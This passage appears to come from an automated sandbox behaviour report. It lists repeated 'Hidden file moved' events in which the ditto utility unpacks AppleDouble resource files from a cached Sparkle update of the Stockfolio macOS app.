Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_x9nxeq -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-tiny-white@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_OYDVwk -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._dsa_pub.pem__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_ikbzOf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._StatusBarPopupWindowController.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_oMZFgp -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._cryptoCurrencyList.json__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_yNmABc -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._menu-arrow-red@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_bM4kQ1 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._toolbar-arrow-red@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_V5nq8p -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-paddle@2x.png__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_EoY5YB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/._Resources__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/.BC.T_D25MgH -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/._CodeResources__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/.BC.T_cl9RKt -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/.__CodeSignature__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_ipNtFi -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_Ncbd9d -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUAutomaticUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_swBoWp -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUUpdatePermissionPrompt.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/.BC.T_0IVrgn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/._SUUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_lDU2HL -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._de.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/he.lproj/.BC.T_TpRLA6 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/he.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_Msq5rJ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._he.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_Opaw6I -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_VrnMKB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUAutomaticUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_hty7EJ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUUpdatePermissionPrompt.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/.BC.T_Cw7MMR -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/._SUUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_w1nPJz -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._ar.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_J1AX1S -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_odVRgK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUAutomaticUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_rPj9ZX -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUUpdatePermissionPrompt.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/.BC.T_oIkZW8 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/._SUUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_yVE8po -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._el.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_5Y7Eyf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_Gz3U2O -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUAutomaticUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_MvcaDZ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUUpdatePermissionPrompt.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/.BC.T_XtUMDO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/._SUUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_QIrWu2 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._ja.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_akvkyF -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_yPjdrb -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUAutomaticUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_MSBduH -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUUpdatePermissionPrompt.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/.BC.T_AngVEz -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/._SUUpdateAlert.nib__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_9qBCiS -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._en.lproj__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/.BC.T_hyThs9 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/._SUModelTranslation.plist__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_8eZNIR -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._Sparkle.strings__Jump to behavior
Source: /usr/bin/ditto (PID: 773)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/.BC.T_5SMLwL -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/._SUAutomaticUpdateAlert.nib__